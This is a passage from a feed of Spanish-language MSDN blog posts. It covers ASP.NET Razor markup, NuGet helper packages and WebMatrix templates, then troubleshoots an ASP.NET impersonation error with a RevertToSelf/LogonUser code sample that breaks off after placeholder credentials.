blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1">}</span>&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">}</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas; color: maroon">h1</span><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas; color: blue">&gt;</span><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">Price list:<span style="color: blue">&lt;/</span><span style="color: maroon">h1</span><span style="color: blue">&gt;</span> </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas; color: maroon">ul</span><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: yellow">@</span><span style="background: #dbe5f1; color: blue">foreach</span><span style="background: #dbe5f1"> (<span style="color: #2b91af">Product</span> prod <span style="color: blue">in</span> products)</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1">{</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">li</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">span</span> <span style="color: red">class</span><span style="color: blue">=&quot;product&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Product: <span style="background: yellow">@</span><span style="background: #dbe5f1">prod.Description</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;/</span><span style="color: maroon">span</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">span</span> <span style="color: red">class</span><span style="color: blue">=&quot;price&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Regular Price: <span style="background: yellow">@</span><span style="background: #dbe5f1">prod.Price</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;/</span><span style="color: maroon">span</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">span</span> <span style="color: red">class</span><span style="color: blue">=&quot;discountpercent&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Discount: <span style="background: yellow">@</span><span style="background: #dbe5f1">CalculateDiscountPercent(prod.Price, prod.Discount)</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span style="font-size: 9.5pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 9.5pt; font-family: consolas; color: maroon">span</span><span style="font-size: 9.5pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;/</span><span style="color: maroon">li</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1">}</span>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 9.5pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 9.5pt; font-family: consolas; color: maroon">ul</span><span style="font-size: 9.5pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">4 – Extensiones fácilmente accesibles desde el Package Manager</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">ASP.NET Web Pages introduce un concepto similar a los plug-ins de jQuery o WordPress, denominados simplemente paquetes (<i>packages</i>). Estos paquetes están disponibles desde un <i>feed</i> público en Internet llamado NuGet, y el Package Manager de WebMatrix simplifica la descarga e instalación de estos paquetes para integrarlos en nuestras aplicaciones.</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/5481.clip_image009_thumb_77806410.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/5481.clip_5F00_image009_5F00_thumb_5F00_77806410.jpg" width="550" height="374" /></span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En la mayoría de los casos estos paquetes están implementados como clases .NET con métodos <i>helper</i>, que podemos utilizar desde las páginas Razor. Por ejemplo, el paquete <i>Twitter.Helper 1.0</i> permite entre otras cosas añadir un <i>widget</i> de Twitter a una página Razor, que muestre los últimos tweets de una búsqueda determinada:</font> </span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span style="font-size: 10pt; font-family: consolas; color: maroon">div</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="background: yellow">@</span><span style="background: #dbe5f1; color: #232323">TwitterGoodies</span><span style="background: #dbe5f1">.Search(<span style="color: #a31515">&quot;asp.net&quot;</span>)</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: maroon">div</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Este es el resultado que genera el <i>helper</i> Search de <i>Twitter.Helper 1.0</i>, todo esto añadiendo una sola línea de código:</font> </span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/5873.clip_image010_thumb_5FEB474E.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/5873.clip_5F00_image010_5F00_thumb_5F00_5FEB474E.jpg" width="254" height="361" /></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">5 – Plantillas de sitios web en WebMatrix para reducir los tiempos de desarrollo</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Si elegimos Microsoft WebMatrix como entorno de desarrollo, podemos reducir aún más los tiempos de desarrollo, creando las aplicaciones ASP.NET Web Pages a partir de las plantillas que incluye WebMatrix. Estas plantillas incluyen la estructura y funcionalidad básica sobre las que crear nuevas aplicaciones. Las plantillas existentes implementan funcionalidad como autenticación de usuarios por formularios, procesamiento de pedidos para tienda online, funcionalidad para subir y compartir fotos o creación de calendarios.</font> </span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/4760.clip_image011_thumb_57F6359D.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/4760.clip_5F00_image011_5F00_thumb_5F00_57F6359D.jpg" width="554" height="406" /></span></p>    <p class="MsoNormal">&#160;</p> </div>]]></content:encoded>
    </item>
    <item>
      <title>HttpException: An error occurred while attempting to impersonate</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/httpexception-an-error-occurred-while-attempting-to-impersonate</link>
      <pubDate>Fri, 26 Nov 2010 05:11:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2010/11/26/httpexception-an-error-occurred-while-attempting-to-impersonate/</guid>
      <description><![CDATA[Pasados m&aacute;s de tres meses desde mi &uacute;ltimo post, ya es momento de retomarlo. Hoy voy a...]]></description>
      <content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt; tab-stops: 50.25pt;"><span style="font-size: 12pt;"><span style="font-family: Calibri;">Pasados m&aacute;s de tres meses desde mi &uacute;ltimo post, ya es momento de retomarlo. Hoy voy a escribir sobre un problema con el que me he encontrado en varias ocasiones en los &uacute;ltimos meses. B&aacute;sicamente, el problema se produce cuando tenemos una aplicaci&oacute;n ASP.NET configurada para impersonar al usuario autenticado, y en alg&uacute;n punto de la aplicaci&oacute;n se trata de impersonar program&aacute;ticamente a un usuario distinto. En estas circunstancias, la aplicaci&oacute;n va a fallar con el siguiente error:<o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">Exception Details: <o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">System.Web.HttpException: An error occurred while attempting to impersonate. Execution of this request cannot continue.<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">Stack Trace: <o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">[HttpException (0x80004005): An error occurred while attempting to impersonate. Execution of this request cannot continue.]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">System.Web.ImpersonationContext.GetCurrentToken() +8845961<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">System.Web.ImpersonationContext.get_CurrentThreadTokenExists() +58<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&amp; completedSynchronously) +193<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">System.Web.ApplicationStepManager.ResumeSteps(Exception error) +501<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(HttpContext context, AsyncCallback cb, Object extraData) +123<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-ansi-language: EN-US;">System.Web.HttpRuntime.ProcessRequestInternal(HttpWorkerRequest wr) +379<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2;"><span style="color: #1f497d; font-size: 12pt;"><span style="font-family: Calibri;">&hellip;<o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><span style="font-family: Calibri;">B&aacute;sicamente, el problema radica en que al llamar al m&eacute;todo <i style="mso-bidi-font-style: normal;"><a href="https://msdn.microsoft.com/en-us/library/w070t6ka.aspx">Impersonate</a></i> (o llamando directamente a la API <i style="mso-bidi-font-style: normal;"><span style="color: #1f497d;"><a href="https://msdn.microsoft.com/en-us/library/aa378184(VS.85).aspx">LogonUser</a></span></i><span style="color: #1f497d;"> </span>que es la que se termina llamando desde <i style="mso-bidi-font-style: normal;">Impersonate</i>), se intenta acceder al token del proceso (por ejemplo, w3wp.exe), y la cuenta del usuario autenticado (el que est&aacute; siendo impersonado debido a la configuraci&oacute;n del web.config) no tiene permiso para acceder a dicho token. <span style="color: #1f497d;"><o:p></o:p></span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="color: #1f497d; font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><span style="font-family: Calibri;">Por lo tanto, para poder impersonar una cuenta distinta program&aacute;ticamente, necesitamos deshacer la impersonaci&oacute;n inicial antes de impersonar una cuenta distinto. Para ello, podemos llamar a la API <i><span style="color: #1f497d;"><a href="https://msdn.microsoft.com/en-us/library/aa379317(VS.85).aspx"><span style="color: #0000ff;">RevertToSelf</span></a></span></i><span style="color: #1f497d;"> </span>para deshacer la impersonaci&oacute;n antes de llamar a LogonUser. <o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="color: #1f497d; font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt;"><span style="font-family: Calibri;">En el siguiente ejemplo se ilustra c&oacute;mo podr&iacute;amos hacerlo:<o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="color: #1f497d; font-size: 12pt;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">const</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> <span style="color: blue;">int</span> LOGON32_PROVIDER_DEFAULT = 0;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">const</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> <span style="color: blue;">int</span> LOGON32_LOGON_INTERACTIVE = 2;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">const</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> <span style="color: blue;">int</span> SecurityImpersonation = 2;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: blue; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">int</span><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> win32ErrorNumber = 0;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Mostramos por pantalla la identidad inicial (la impersonada mediante en el web.config):<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">Response.Write(<span style="color: #a31515;">"Identidad inicial: "</span> + <span style="color: #2b91af;">WindowsIdentity</span>.GetCurrent().Name.ToString() + <span style="color: #a31515;">"&lt;BR&gt;"</span>);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Guardamos esa identidad inicial para poder restaurarlo posteriormente<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: #2b91af; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">WindowsIdentity</span><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> _initialIdentity = <span style="color: #2b91af;">WindowsIdentity</span>.GetCurrent();<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Llamamos a la API "RevertToSelf" para deshacer la impersonaci&oacute;n configurada en el web.config:<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">RevertToSelf();<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Volvemos a mostrar la identidad, y ahora vemos que ha cambiado a la identidad del application<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//pool: (NETWORK SERVICE) por defecto. <o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">Response.Write(<span style="color: #a31515;">"Despu&eacute;s de llamar a RevertToSelf: "</span> + <span style="color: #2b91af;">WindowsIdentity</span>.GetCurrent().Name.ToString() + <span style="color: #a31515;">"&lt;BR&gt;"</span>);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: green; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">//Realizamos la impersonaci&oacute;n deseada. <o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: #2b91af; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">IntPtr</span><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> _tokenHandle = <span style="color: #2b91af;">IntPtr</span>.Zero;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; color: #2b91af; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">IntPtr</span><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> _dupeTokenHandle = <span style="color: #2b91af;">IntPtr</span>.Zero;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: 12pt; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">string</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> _domainname = <span style="color: #a31515;">"CONTOSO"</span>;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">string</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> _username = <span style="color: #a31515;">"demo"</span>;<span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; color: blue; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;">string</span><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"> _password = <span style="color: #a31515;">"P@ssw0rd!"</span>;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span lang="EN-US" style="font-family: Consolas; font-size: 12pt; mso-ansi-language: EN-US; mso-fareast-font-family: 'Times New Roman'; mso-no-proof: yes;"><o:p>&nbsp;</o:p></span></p>
